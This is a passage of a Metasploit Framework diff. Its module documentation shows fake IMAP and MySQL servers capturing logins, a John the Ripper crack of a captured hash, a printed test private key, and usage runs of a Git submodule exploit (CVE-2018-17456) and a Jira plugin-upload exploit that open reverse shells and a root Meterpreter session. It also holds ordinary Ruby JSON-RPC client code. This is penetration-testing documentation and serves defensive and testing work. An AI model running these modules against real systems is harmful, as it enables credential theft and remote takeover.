msf5 auxiliary(server/capture/imap) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/imap) >
|
||||
[*] Started service listener on 0.0.0.0:143
|
||||
[*] Server started.
|
||||
[*] IMAP LOGIN 127.0.0.1:42972 metasploit@documentation.com / rapid7#1
|
||||
```
|
||||
|
||||
Client:
|
||||
|
||||
```
|
||||
root@kali:~# telnet 127.0.0.1 143
|
||||
Trying 127.0.0.1...
|
||||
Connected to 127.0.0.1.
|
||||
Escape character is '^]'.
|
||||
* OK The Microsoft Exchange IMAP4 service is ready.
|
||||
01 LOGIN metasploit@documentation.com rapid7#1
|
||||
quit
|
||||
Connection closed by foreign host.
|
||||
```
|
||||
|
||||
### Secure IMAP with Self-Signed Certificate and Alpine client
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
|
||||
[*] exec: openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
|
||||
|
||||
Generating a RSA private key
|
||||
.................................................................................................+++++
|
||||
...................+++++
|
||||
writing new private key to 'key.pem'
|
||||
-----
|
||||
You are about to be asked to enter information that will be incorporated
|
||||
into your certificate request.
|
||||
What you are about to enter is what is called a Distinguished Name or a DN.
|
||||
There are quite a few fields but you can leave some blank
|
||||
For some fields there will be a default value,
|
||||
If you enter '.', the field will be left blank.
|
||||
-----
|
||||
Country Name (2 letter code) [AU]:
|
||||
State or Province Name (full name) [Some-State]:
|
||||
Locality Name (eg, city) []:
|
||||
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
|
||||
Organizational Unit Name (eg, section) []:
|
||||
Common Name (e.g. server FQDN or YOUR name) []:
|
||||
Email Address []:
|
||||
msf5 > cat key.pem certificate.pem > selfsigned.pem
|
||||
[*] exec: cat key.pem certificate.pem > selfsigned.pem
|
||||
|
||||
msf5 > cat /root/metasploit-framework/selfsigned.pem
|
||||
[*] exec: cat /root/metasploit-framework/selfsigned.pem
|
||||
|
||||
-----BEGIN PRIVATE KEY-----
|
||||
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDAXME8r2vEUH7B
|
||||
Kelkt9iC4tTozOq0wJAjsACLCDcNoD4hUH16wy4Uf4SD3ZsEaL0YA0GU2ZgOo2ud
|
||||
USBpOo8h9FEGtRrAAeSl7Z3XaBnuB7UmVMrnUVZxlaYi84JcopcTOs6KZ5VXddia
|
||||
PEkE5G3jaCwOIqHk+c8Qk5b43HQbkj2jr4051gHeWP0UgBEy1TVPKtoywtyK1b5H
|
||||
QhX7MYVNge8lQL/xJnBrjMDqIQqc41lCI73EPCuGZ7zB06xBsgyW/DTgQkprX+Qe
|
||||
DVKtz8ZChLSqSwmz/5yFttRyZlDuXA7Kozhdj8obRAjzK/gKj89WsX/s2KUbq2GY
|
||||
pdMpLh7/AgMBAAECggEBALCtQKpdMCzqBdGijgP8u3ZToluDwlprtregco8/51iz
|
||||
gf0VMXqsg8k96dc3laZyEKNackSlqfxf6npeRdeAenAkNrtjYYNS+c/Qs7Vhntc5
|
||||
6w6euJHG6g9+9E2LvIMarolx7LvAMbFXwq6+ig5dQ/Sm/DerZWiqbJ18ASDnUhjz
|
||||
G1Y8/Idy4WutPZD/0JEQ+5VnHb+Mt3a7yYKhDsmUEzVh5xoWJab9dwfwCnoOb32T
|
||||
oLOLLsqUbAK8ZiQ4MwkbGJ5kw8H24wVmI+7BbuRacW2tIIt6Z+vEoLdof0TsuJWo
|
||||
87ZbCYYeTysIgBIdLNRiGGxz43SOqBBGh8sreyyACdECgYEA6Ubs1Klw3TViABke
|
||||
1JqkWelZi6mtsyUHJt/eChjMzgg5vGVuYB/sCc+BObjETbfnvuV0Ub4cxbUCF3wL
|
||||
qvrJNTd+yU7JJ7IP63B2lS3aNlAsLRb59SkjDYyym1OeUAHKkGp8oICSq96X3Xtu
|
||||
KUZnDdh2UuoMzmEoAHoDoc+SC/cCgYEA0xmQ+qDJ4l3JRH/IPMPe9XD90WFJFhvF
|
||||
GzGSM8qqpg6N2xhlzQiM6+I4EEh9iNnCOYmvw9leGNRpIjFjAhv5ntlG3LudAEpd
|
||||
Ml/hhrfRB7KOopiqzK7oVCUv5f5rmvYdL4c2FC+VGxnhWUP6MARUHag/1DgszMs7
|
||||
wSlwcbKi8zkCgYBMvRc1khPdwSze6WSZ/dEo/rmFVykb8Idcw3Iwkh31fQE5N4jK
|
||||
uFWWmJtjGKQDCQeEZckRBuBCLZxli1nvQhakmf/sSy2jEFFqWxG3W2EYUuFlZ9SM
|
||||
UJ8GWw16SVSf7ybqwQ0EY6dcQJpmsq73hwBprpamCfZygcV9+qVtOnJJ2wKBgBKY
|
||||
ZPH+6em70zfqfawEoQZD3sfr5vFAnvtHQZa4WpHoJEzReF44S5mXwtKEYDKG5BoH
|
||||
a+k3o5dSVrSBXzRXXITGpPxatnjJFC6UzZv9YzdnXjMqeZkwKx0GbZK396id13JR
|
||||
Wc0rZ9oMTJJ9b3N9Xh+Cq6S5EhE0Md5RFSuezcXZAoGBAJOMfjbwobOCYm6K8PyV
|
||||
p89gbnDOj7FHCg2JPa9/dii6pBRHXeUfORp00GfN0oAjjJo14SmOw58zh1mF1VcA
|
||||
BQhTK9TO4GXIEZDiYt9EmiH1VO58I8vUecBcbelirumGOP+dBiBy/C8YzFJRhAis
|
||||
eAGSi8F+qcJaS3VDRGEC9zcK
|
||||
-----END PRIVATE KEY-----
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIDazCCAlOgAwIBAgIUMlkpAG2tXodgLSrIf/xOuA9z8PwwDQYJKoZIhvcNAQEL
|
||||
BQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM
|
||||
GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0xODExMDkwMTI3MTRaFw0xOTEx
|
||||
MDkwMTI3MTRaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEw
|
||||
HwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggEiMA0GCSqGSIb3DQEB
|
||||
AQUAA4IBDwAwggEKAoIBAQDAXME8r2vEUH7BKelkt9iC4tTozOq0wJAjsACLCDcN
|
||||
oD4hUH16wy4Uf4SD3ZsEaL0YA0GU2ZgOo2udUSBpOo8h9FEGtRrAAeSl7Z3XaBnu
|
||||
B7UmVMrnUVZxlaYi84JcopcTOs6KZ5VXddiaPEkE5G3jaCwOIqHk+c8Qk5b43HQb
|
||||
kj2jr4051gHeWP0UgBEy1TVPKtoywtyK1b5HQhX7MYVNge8lQL/xJnBrjMDqIQqc
|
||||
41lCI73EPCuGZ7zB06xBsgyW/DTgQkprX+QeDVKtz8ZChLSqSwmz/5yFttRyZlDu
|
||||
XA7Kozhdj8obRAjzK/gKj89WsX/s2KUbq2GYpdMpLh7/AgMBAAGjUzBRMB0GA1Ud
|
||||
DgQWBBRezbFZBumaJ/MViZqqbllYrPomMzAfBgNVHSMEGDAWgBRezbFZBumaJ/MV
|
||||
iZqqbllYrPomMzAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQAd
|
||||
Smkooa2nhdDdu3/uHX8vhDC0ns5qotgd0YKGkj/QyzNP+ruP1cyq/q67zand/Eq8
|
||||
gF+lHk+pX8GM0WvI7ypgrK956YCdmh3DULBFDu5RxVABFWrGedfNy6TKLTps0PXR
|
||||
9mdB/HK0Msr6Mh/o5PkUhb1fx0T3NUwF1EFte7Nsq10Mq+hYVnEqDeEGMlb73frJ
|
||||
729tCjNpFoLGdlgEcAEFelAujV0w4oj35CE2Fh3b+4wupDiulfgg9E7FtvS9xK0P
|
||||
l/m7Kka0n7lXnKo+IFSJ0dTooBvwaV7+4tEGuHxWJsNO+2aex9qFCuDUdBFxyWyK
|
||||
uBVlsY6F7EjTfWpxwyVP
|
||||
-----END CERTIFICATE-----
|
||||
msf5 > use auxiliary/server/capture/imap
|
||||
msf5 auxiliary(server/capture/imap) > set ssl true
|
||||
ssl => true
|
||||
msf5 auxiliary(server/capture/imap) > set sslcert /root/metasploit-framework/selfsigned.pem
|
||||
sslcert => /root/metasploit-framework/selfsigned.pem
|
||||
msf5 auxiliary(server/capture/imap) > set srvport 993
|
||||
srvport => 993
|
||||
msf5 auxiliary(server/capture/imap) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/imap) >
|
||||
[*] Started service listener on 0.0.0.0:993
|
||||
[*] Server started.
|
||||
[+] IMAP LOGIN 127.0.0.1:59024 "johndoe" / "p455w0rd"
|
||||
```
|
||||
|
||||
Clients:
|
||||
|
||||
```
|
||||
root@kali:~# cat ~/.muttrc
|
||||
set spoolfile="imaps://johndoe:p455w0rd@127.0.0.1/INBOX"
|
||||
set folder="imaps://127.0.0.1/INBOX"
|
||||
set record="=Sent"
|
||||
set postponed="=Drafts"
|
||||
|
||||
root@kali:~# mutt
|
||||
```
|
||||
|
||||
The user is prompted about the invalid certificate, and the client gets stuck at "Logging in...", however
|
||||
it doesn't matter since the credentials have already been sent.
|
|
@ -0,0 +1,72 @@
|
|||
This module creates a mock MySQL server which accepts credentials. Upon receiving a login attempt, an `ERROR 1045 (2800): Access denied` error is thrown.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/server/capture/mysql```
|
||||
3. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**CHALLENGE**
|
||||
|
||||
The MySQL 16 byte challenge used in the authentication. Default is `112233445566778899AABBCCDDEEFF1122334455`.
|
||||
|
||||
**JOHNPWFILE**
|
||||
|
||||
Write a file containing a John the Ripper format for cracking the credentials. Default is ``.
|
||||
|
||||
**CAINPWFILE**
|
||||
|
||||
Write a file containing a Cain & Abel format for cracking the credentials. Default is ``.
|
||||
|
||||
**SRVVERSION**
|
||||
|
||||
The MySQL version to print in the login banner. Default is `5.5.16`.
|
||||
|
||||
**SSL**
|
||||
|
||||
Boolean if SSL should be used. Default is `False`.
|
||||
|
||||
**SSLCert**
|
||||
|
||||
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
|
||||
generated. Default is ``.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### MySQL with MySQL Client and JTR Cracking
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/mysql
|
||||
msf5 auxiliary(server/capture/mysql) > set johnpwfile /tmp/mysql.logins
|
||||
johnpwfile => /tmp/mysql.logins
|
||||
msf5 auxiliary(server/capture/mysql) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/mysql) >
|
||||
[*] Started service listener on 0.0.0.0:3306
|
||||
[*] Server started.
|
||||
[+] 127.0.0.1:59604 - User: admin; Challenge: 112233445566778899aabbccddeeff1122334455; Response: 46677c2d9cac93da328c4321060c125db759925e
|
||||
```
|
||||
|
||||
Client:
|
||||
|
||||
```
|
||||
root@kali:~# mysql -u admin -ppassword1 -h 127.0.0.1
|
||||
ERROR 1045 (28000): Access denied for user 'admin'@'127.0.0.1' (using password: YES)
|
||||
```
|
||||
|
||||
JTR:
|
||||
|
||||
```
|
||||
root@kali:~# john /tmp/mysql.logins_mysqlna
|
||||
Using default input encoding: UTF-8
|
||||
Loaded 1 password hashes with no different salts (mysqlna, MySQL Network Authentication [SHA1 32/64])
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
password1 (admin)
|
||||
1g 0:00:00:00 DONE 2/3 (2018-11-08 21:05) 20.00g/s 16800p/s 16800c/s 16800C/s password1
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
```
|
|
@ -0,0 +1,87 @@
|
|||
## Description
|
||||
|
||||
This module exploits CVE-2018-17456, which affects Git versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower.
|
||||
|
||||
When a submodule url which starts with a dash e.g "-u./payload" is passed as an argument to git clone, the file "payload" inside the repository is executed.
|
||||
|
||||
This module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialised (e.g git clone --recurse-submodules URL)
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Git can be installed on a variety of operating systems, however
|
||||
newer versions will contain the patch for this vulnerability.
|
||||
|
||||
On OSX it can be installed with the XCode command line tools:
|
||||
`xcode-select --install`
|
||||
|
||||
On Linux it can be installed with apt:
|
||||
`sudo apt-get update && sudo apt-get install git`
|
||||
|
||||
You can check the version with `git --version`.
|
||||
The fix is included in the following version:
|
||||
2.7.6, 2.8.6, 2.9.5, 2.10.4, 2.11.3, 2.12.4, 2.13.5, 2.14.1
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format:
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/multi/http/git_submodule_url_exec`
|
||||
1. Do: `set LHOST [local host]`
|
||||
1. Do: `exploit`
|
||||
1. Clone the malicious Git URI and its submodules (e.g `git clone --recurse-submodules GIT_URL`)
|
||||
1. You should get a shell
|
||||
|
||||
## Options
|
||||
|
||||
**GIT_URI**
|
||||
|
||||
This is the URI the git repository will be hosted from (defaults to random).
|
||||
|
||||
**GIT_SUBMODULE**
|
||||
|
||||
This is the URI of the submodule within the git repository (defaults to random).
|
||||
The url of this submodule, when cloned, will execute the payload.
|
||||
|
||||
## Scenarios
|
||||
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/http/git_submodule_url_exec
|
||||
msf5 exploit(multi/http/git_submodule_url_exec) > set LHOST 192.168.0.1
|
||||
LHOST => 192.168.0.1
|
||||
msf5 exploit(multi/http/git_submodule_url_exec) > exploit
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.0.1:4444
|
||||
msf5 exploit(multi/http/git_submodule_url_exec) > [*] Using URL: http://0.0.0.0:8080/yaDlXuHVnRMMYGQ
|
||||
[*] Local IP: http://192.168.0.1:8080/yaDlXuHVnRMMYGQ
|
||||
[*] Server started.
|
||||
[*] Malicious Git URI is http://192.168.0.1:8080/ogkvs.git
|
||||
[*] Command shell session 1 opened (192.168.0.1:4444 -> 192.168.0.1:41034) at 2018-10-18 12:41:40 +0000
|
||||
[*] Command shell session 2 opened (192.168.0.1:4444 -> 192.168.0.1:41036) at 2018-10-18 12:41:41 +0000
|
||||
```
|
||||
|
||||
On the victim side:
|
||||
|
||||
```
|
||||
git clone --recurse-submodules http://192.168.0.1:8080/ogkvs.git
|
||||
Cloning into 'ogkvs'...
|
||||
Submodule 'lfr:lr' (-u./rDwoZ) registered for path 'lfr:lr'
|
||||
Cloning into 'lr'...
|
||||
fatal: Could not read from remote repository.
|
||||
|
||||
Please make sure you have the correct access rights
|
||||
and the repository exists.
|
||||
fatal: clone of '-u./rDwoZ' into submodule path 'ogkvs/lfr:lr' failed
|
||||
Failed to clone 'lfr:lr'. Retry scheduled
|
||||
Cloning into 'lr'...
|
||||
fatal: Could not read from remote repository.
|
||||
|
||||
Please make sure you have the correct access rights
|
||||
and the repository exists.
|
||||
fatal: clone of '-u./rDwoZ' into submodule path 'ogkvs/lfr:lr' failed
|
||||
Failed to clone 'lfr:lr' a second time, aborting
|
||||
```
|
|
@ -0,0 +1,62 @@
|
|||
## Description
|
||||
|
||||
This module uses a POST request against the Atlassian Jira Universal Plugin Manager (UPM) to upload a malicious Java servlet in the form of a JAR archive. Once uploaded the module executes the payload with a GET request and then cleans up after itself by deleting the plugin. Successful exploitation is dependent on valid credentials to an account that has access to the UPM (typically the admin account). The module includes a check function that will validate user supplied credentials and access to the UPM.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The version of Atlassian Jira used for testing was 7.8.0 but the module should work for all versions of Jira as the main dependency is the implementation of Atlassian's UPM framework.
|
||||
|
||||
To set up a vulnerable installation:
|
||||
1. Build the Atlassian SDK environment. Instructions can be found below:
|
||||
- Windows:
|
||||
https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/
|
||||
- Linux/Mac:
|
||||
https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/
|
||||
2. Create a shell Jira plugin and launch the SDK. Instructions can be found below:
|
||||
- https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/
|
||||
3. Validate installation by browsing to localhost:2990/jira/ and logging in with the default credentials admin:admin
|
||||
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install Atlassian SDK/Jira environment.
|
||||
2. Browse to localhost:2990/jira/ to confirm successful deployment.
|
||||
3. Start msfconsole: ```msfconsole -q```
|
||||
4. Do: ```use exploit/multi/http/jira_plugin_upload```
|
||||
5. Do: ```set rhost [IP]```
|
||||
6. Check credentials and UPM access: ```check```
|
||||
7. Do: ```exploit```
|
||||
8. You should get a shell.
|
||||
|
||||
## Scenarios
|
||||
Successful exploitation:
|
||||
```
|
||||
msf > use exploit/multi/http/jira_plugin_upload
|
||||
msf exploit(multi/http/jira_plugin_upload) > set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
msf exploit(multi/http/jira_plugin_upload) > check
|
||||
|
||||
[*] Server accepted the credentials, user has access to plugin manager!
|
||||
[*] 127.0.0.1:2990 The target appears to be vulnerable.
|
||||
msf exploit(multi/http/jira_plugin_upload) > exploit
|
||||
|
||||
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
|
||||
[*] Started reverse TCP handler on 127.0.0.1:4444
|
||||
[*] Retrieving Session ID and XSRF token...
|
||||
[*] Attempting to upload UlDRthpT
|
||||
[*] Successfully uploaded UlDRthpT
|
||||
[*] Executing UlDRthpT
|
||||
[*] Deleting UlDRthpT
|
||||
[*] Sending stage (53837 bytes) to 127.0.0.1
|
||||
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:43208) at 2018-02-25 13:45:43 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > exit
|
||||
[*] Shutting down Meterpreter...
|
||||
|
||||
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: User exit
|
||||
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: Died
|
||||
msf exploit(multi/http/jira_plugin_upload) >
|
||||
```
|
|
@ -0,0 +1,38 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
# This mixin provides helper functions for building Git repositories
|
||||
module Exploit::Git
|
||||
|
||||
# Generate a commit message using fake names and emails
|
||||
def fake_commit_message
|
||||
email = Rex::Text.rand_mail_address
|
||||
first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
|
||||
full_name = "#{first.capitalize} #{last.capitalize}"
|
||||
tstamp = Time.now.to_i
|
||||
author_time = rand(tstamp)
|
||||
commit_time = rand(author_time)
|
||||
tz_off = rand(10)
|
||||
commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
|
||||
"committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
|
||||
"\n" \
|
||||
"Initial commit to open git repository for #{company}!\n"
|
||||
commit
|
||||
end
|
||||
|
||||
# Build's a Git object
|
||||
def build_object(type, content)
|
||||
# taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
|
||||
header = "#{type} #{content.size}\0"
|
||||
store = header + content
|
||||
[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
|
||||
end
|
||||
|
||||
# Returns the Git object path name that a file with the provided SHA1 will reside in
|
||||
def get_path(sha1)
|
||||
sha1[0...2] + '/' + sha1[2..40]
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -68,6 +68,7 @@ require 'msf/core/exploit/afp'
|
|||
require 'msf/core/exploit/realport'
|
||||
require 'msf/core/exploit/sip'
|
||||
require 'msf/core/exploit/tincd'
|
||||
require 'msf/core/exploit/git'
|
||||
|
||||
# Telephony
|
||||
require 'msf/core/exploit/dialup'
|
||||
|
|
|
@ -174,7 +174,7 @@ class Msf::Modules::External::PyBridge < Msf::Modules::External::Bridge
|
|||
def initialize(module_path, framework: nil)
|
||||
super
|
||||
pythonpath = ENV['PYTHONPATH'] || ''
|
||||
self.env = self.env.merge({ 'PYTHONPATH' => pythonpath + File::PATH_SEPARATOR + File.expand_path('../python', __FILE__) })
|
||||
self.env = self.env.merge({ 'PYTHONPATH' => File.expand_path('../python', __FILE__) + File::PATH_SEPARATOR + pythonpath})
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -198,7 +198,7 @@ class Msf::Modules::External::GoBridge < Msf::Modules::External::Bridge
|
|||
def initialize(module_path, framework: nil)
|
||||
super
|
||||
gopath = ENV['GOPATH'] || ''
|
||||
self.env = self.env.merge({ 'GOPATH' => gopath + File::PATH_SEPARATOR + File.expand_path('../go', __FILE__) })
|
||||
self.env = self.env.merge({ 'GOPATH' => File.expand_path('../go', __FILE__) + File::PATH_SEPARATOR + gopath})
|
||||
self.cmd = ['go', 'run', self.path]
|
||||
end
|
||||
end
|
||||
|
|
|
@ -17,12 +17,16 @@ module Msf::RPC
|
|||
|
||||
|
||||
module JSON
|
||||
autoload :Client, 'msf/core/rpc/json/client'
|
||||
autoload :Dispatcher, 'msf/core/rpc/json/dispatcher'
|
||||
autoload :DispatcherHelper, 'msf/core/rpc/json/dispatcher_helper'
|
||||
autoload :Request, 'msf/core/rpc/json/request'
|
||||
autoload :Response, 'msf/core/rpc/json/response'
|
||||
autoload :RpcCommand, 'msf/core/rpc/json/rpc_command'
|
||||
autoload :RpcCommandFactory, 'msf/core/rpc/json/rpc_command_factory'
|
||||
|
||||
# exception classes
|
||||
# server
|
||||
autoload :Error, 'msf/core/rpc/json/error'
|
||||
autoload :ParseError, 'msf/core/rpc/json/error'
|
||||
autoload :InvalidRequest, 'msf/core/rpc/json/error'
|
||||
|
@ -31,5 +35,11 @@ module Msf::RPC
|
|||
autoload :InternalError, 'msf/core/rpc/json/error'
|
||||
autoload :ServerError, 'msf/core/rpc/json/error'
|
||||
autoload :ApplicationServerError, 'msf/core/rpc/json/error'
|
||||
# client
|
||||
autoload :ClientError, 'msf/core/rpc/json/error'
|
||||
autoload :InvalidResponse, 'msf/core/rpc/json/error'
|
||||
autoload :JSONParseError, 'msf/core/rpc/json/error'
|
||||
autoload :ErrorResponse, 'msf/core/rpc/json/error'
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,80 @@
|
|||
require 'json'
|
||||
require 'uri'
|
||||
|
||||
require 'msf/core/rpc'
|
||||
|
||||
module Msf::RPC::JSON
|
||||
# JSON-RPC Client
|
||||
# All client method call requests must be dispatched from within an
|
||||
# EventMachine (reactor) run loop.
|
||||
class Client
|
||||
attr_reader :uri
|
||||
attr_reader :api_token
|
||||
attr_reader :symbolize_names
|
||||
attr_accessor :namespace
|
||||
|
||||
# Instantiate a Client.
|
||||
# @param uri [String] the JSON-RPC service URI
|
||||
# @param api_token [String] the API token. Default: nil
|
||||
# @param namespace [String] the namespace for the JSON-RPC method. The namespace will
|
||||
# be prepended to the method name with a period separator. Default: nil
|
||||
# @param symbolize_names [Boolean] If true, symbols are used for the names (keys) when
|
||||
# processing JSON objects; otherwise, strings are used. Default: true
|
||||
# @param private_key_file [String] the SSL private key file used for the HTTPS request. Default: nil
|
||||
# @param cert_chain_file [String] the SSL cert chain file used for the HTTPS request. Default: nil
|
||||
# @param verify_peer [Boolean] indicates whether a server should request a certificate
|
||||
# from a peer, to be verified by user code. Default: nil
|
||||
def initialize(uri, api_token: nil, namespace: nil, symbolize_names: true,
|
||||
private_key_file: nil, cert_chain_file: nil, verify_peer: nil)
|
||||
@uri = URI.parse(uri)
|
||||
@api_token = api_token
|
||||
@namespace = namespace
|
||||
@symbolize_names = symbolize_names
|
||||
@private_key_file = private_key_file
|
||||
@cert_chain_file = cert_chain_file
|
||||
@verify_peer = verify_peer
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Invoked by Ruby when obj is sent a message it cannot handle, then processes
|
||||
# the call as an RPC method invocation.
|
||||
# @param symbol [Symbol] the symbol for the method called
|
||||
# @param args [Array] any positional arguments passed to the method
|
||||
# @param keyword_args [Hash] any keyword arguments passed to the method
|
||||
# @returns [Msf::RPC::JSON::Request] an EM::Deferrable for the RPC method invocation.
|
||||
def method_missing(symbol, *args, **keyword_args, &block)
|
||||
# assemble method parameters
|
||||
if !args.empty? && !keyword_args.empty?
|
||||
params = args << keyword_args
|
||||
elsif !args.empty?
|
||||
params = args
|
||||
elsif !keyword_args.empty?
|
||||
params = keyword_args
|
||||
else
|
||||
params = nil
|
||||
end
|
||||
|
||||
process_call_async(symbol, params)
|
||||
end
|
||||
|
||||
# Asynchronously processes the RPC method invocation.
|
||||
# @param method [Symbol] the method
|
||||
# @param params [Array, Hash] any arguments passed to the method
|
||||
# @returns [Msf::RPC::JSON::Request] an EM::Deferrable for the RPC method invocation.
|
||||
def process_call_async(method, params)
|
||||
req = Request.new(@uri,
|
||||
api_token: @api_token,
|
||||
method: method,
|
||||
params: params,
|
||||
namespace: @namespace,
|
||||
symbolize_names: @symbolize_names,
|
||||
private_key_file: @private_key_file,
|
||||
cert_chain_file: @cert_chain_file,
|
||||
verify_peer: @verify_peer)
|
||||
req.send
|
||||
|
||||
req
|
||||
end
|
||||
end
|
||||
end
|
|
@ -120,7 +120,7 @@ module Msf::RPC::JSON
|
|||
|
||||
# Validate the JSON-RPC request.
|
||||
# @param request [Hash] the JSON-RPC request
|
||||
# @returns [Boolean] true if the JSON-RPC request is a valid; otherwise, false.
|
||||
# @returns [Boolean] true if the JSON-RPC request is valid; otherwise, false.
|
||||
def validate_rpc_request(request)
|
||||
# validate request is an object
|
||||
return false unless request.is_a?(Hash)
|
||||
|
|
|
@ -133,4 +133,94 @@ module Msf::RPC::JSON
|
|||
super(APPLICATION_SERVER_ERROR, ERROR_MESSAGES[APPLICATION_SERVER_ERROR] % {msg: message}, data: data)
|
||||
end
|
||||
end
|
||||
|
||||
# Base class for all Msf::RPC::JSON client exceptions.
|
||||
class ClientError < StandardError
|
||||
attr_reader :response
|
||||
|
||||
# Instantiate a ClientError object.
|
||||
#
|
||||
# @param message [String] A String providing a short description of the error.
|
||||
# @param response [Hash] A response hash. The default value is nil.
|
||||
def initialize(message = nil, response: nil)
|
||||
super(message)
|
||||
@response = response
|
||||
end
|
||||
end
|
||||
|
||||
class InvalidResponse < ClientError
|
||||
# Instantiate an InvalidResponse object.
|
||||
#
|
||||
# @param message [String] A String providing a short description of the error.
|
||||
# @param response [Hash] A response hash. The default value is nil.
|
||||
def initialize(message = 'Invalid response from server', response: nil)
|
||||
super(message, response: response)
|
||||
end
|
||||
end
|
||||
|
||||
class JSONParseError < ClientError
|
||||
# Instantiate an JSONParseError object.
|
||||
#
|
||||
# @param message [String] A String providing a short description of the error.
|
||||
# @param response [Hash] A response hash. The default value is nil.
|
||||
def initialize(message = 'Invalid JSON was received from the server', response: nil)
|
||||
super(message, response: response)
|
||||
end
|
||||
end
|
||||
|
||||
class ErrorResponse < ClientError
|
||||
attr_reader :id
|
||||
attr_reader :code
|
||||
attr_reader :message
|
||||
attr_reader :data
|
||||
|
||||
# Parse response and return a new ErrorResponse instance.
|
||||
# @param response [Hash] A response hash.
|
||||
# @param symbolize_names [Boolean] If true, symbols are used for the names (keys) when
|
||||
# processing JSON objects; otherwise, strings are used. Default: true
|
||||
# @returns [ErrorResponse] ErrorResponse object that represents the response hash.
|
||||
def self.parse(response, symbolize_names: true)
|
||||
id_key = symbolize_names ? :id : :id.to_s
|
||||
error_key = symbolize_names ? :error : :error.to_s
|
||||
code_key = symbolize_names ? :code : :code.to_s
|
||||
message_key = symbolize_names ? :message : :message.to_s
|
||||
data_key = symbolize_names ? :data : :data.to_s
|
||||
|
||||
id = response[id_key]
|
||||
error = response[error_key]
|
||||
|
||||
if !error.nil?
|
||||
code = error[code_key]
|
||||
message = error[message_key]
|
||||
data = error[data_key]
|
||||
else
|
||||
code = nil
|
||||
message = nil
|
||||
data = nil
|
||||
end
|
||||
|
||||
ErrorResponse.new(id: id, code: code, message: message, data: data, response: response)
|
||||
end
|
||||
|
||||
# Instantiate an ErrorResponse object.
|
||||
#
|
||||
# @param id [Integer, String, NilClass] It MUST be the same as the value of the
|
||||
# id member in the Request Object. If there was an error in detecting the id
|
||||
# in the Request object (e.g. Parse error/Invalid Request), it MUST be Null.
|
||||
# @param code [Integer] A Number that indicates the error type that occurred.
|
||||
# @param message [String] A String providing a short description of the error.
|
||||
# The message SHOULD be limited to a concise single sentence.
|
||||
# @param data [Object] A Primitive or Structured value that contains additional
|
||||
# information about the error. This may be omitted. The value of this member is
|
||||
# defined by the Server (e.g. detailed error information, nested errors etc.).
|
||||
# The default value is nil.
|
||||
# @param response [Hash] A response hash. The default value is nil.
|
||||
def initialize(id:, code:, message:, data: nil, response: nil)
|
||||
super(message, response: response)
|
||||
@id = id
|
||||
@code = code
|
||||
@message = message
|
||||
@data = data
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,227 @@
|
|||
require 'em-http-request'
|
||||
require 'json'
|
||||
|
||||
require 'msf/core/rpc'
|
||||
|
||||
module Msf::RPC::JSON
|
||||
|
||||
# Represents a JSON-RPC request. This is an EM::Deferrable class and instances
|
||||
# respond to #callback and #errback to store callback actions.
|
||||
class Request
|
||||
include EM::Deferrable
|
||||
|
||||
